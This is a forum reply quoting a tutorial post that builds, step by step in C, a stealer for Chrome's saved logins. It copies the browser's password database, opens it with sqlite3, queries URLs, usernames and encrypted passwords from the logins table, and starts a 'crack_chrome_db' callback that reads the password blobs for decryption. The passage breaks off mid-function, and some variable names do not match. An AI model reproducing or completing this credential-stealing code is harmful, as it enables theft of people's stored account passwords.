Reply to thread

Message: <blockquote data-quote="Ghosthunter" data-source="post: 548" data-attributes="member: 6">Code:int status = CopyFile(browser_db, TEXT(".\\db_tmp"), FALSE);if (!status) { // return 0;}Now we connect to the database with the sqlite3_open_v2 command. Its prototype:Code:int sqlite3_open_v2( const char *filename, /* Database filename (UTF-8) */ sqlite3 **ppDb, /* OUT: SQLite db handle */ int flags, /* Flags */ const char *zVfs /* Name of VFS module to use */);First argument is our database; connection information is returned in the second argument, then the open flags are passed, and the fourth argument defines the operating system interface that should use this database connection. In our case, it is not needed. If this function works correctly, the SQLITE_OK value is returned, otherwise an error code is returned.Code:sqlite3 *sql_browser_db = NULL;status = sqlite3_open_v2(TEMP_DB_PATH, &sql_browser_db, SQLITE_OPEN_READONLY, NULL);if(status != SQLITE_OK) { sqlite3_close(sql_browser_db); DeleteFile(TEXT(TEMP_DB_PATH));Now we start directly processing the data in the database. To do this, use the sqlite3_exec () function.Code:status = sqlite3_exec(sql_browser_db, "SELECT origin_url, username_value, password_value FROM logins", crack_chrome_db, sql_browser_db, &err);if (status != SQLITE_OK) return 0;This function has a prototype like this:Code:int sqlite3_exec( sqlite3*, /* An open database */ const char *sql, /* SQL to be evaluated */ int (*callback)(void*,int,char**,char**), /* Callback */ void *, /* 1st argument to callback */ char **errmsg /* Error msg written here */);The first argument is our password database, the second is an SQL command that pulls out the file URL, username, password, and username, the third argument is a callback function that will decrypt passwords, the fourth argument is passed to our callback function, and the fifth argument reports an error.Let's take a closer look at the callback function that decrypts passwords. It will be applied to each row in the selection of our SELECT query. Its prototype is int (*callback) (void*, int,char**, char**), but we don't need all the arguments, although they should be declared. Let's call the function itself crack_chrome_db, and start writing and declaring the necessary variables:Code:int crack_chrome_db(void *db_in, int arg, char **arg1, char **arg2) {DATA_BLOB data_decrypt, data_encrypt;sqlite3 *in_db = (sqlite3*)db_in;BYTE *blob_data = NULL;sqlite3_blob *sql_blob = NULL;char *passwds = NULL;while (sqlite3_blob_open(in_db, "main", "logins", "password_value", count++, 0, &sql_blob) != SQLITE_OK && count <= 20 );In this loop, we create a BLOB (i.e., a large array of binary data). Next, we allocate memory, read the blob, and initialize the DATA_BLOB fields:Code:int sz_blob;int result;sz_blob = sqlite3_blob_bytes(sql_blob);dt_blob = (BYTE *)malloc(sz_blob);if (!dt_blob) { sqlite3_blob_close(sql_blob); sqlite3_close(in_db);}data_encrypt.pbData = dt_blob;data_encrypt.cbData = sz_blob;</blockquote>

Name

Verification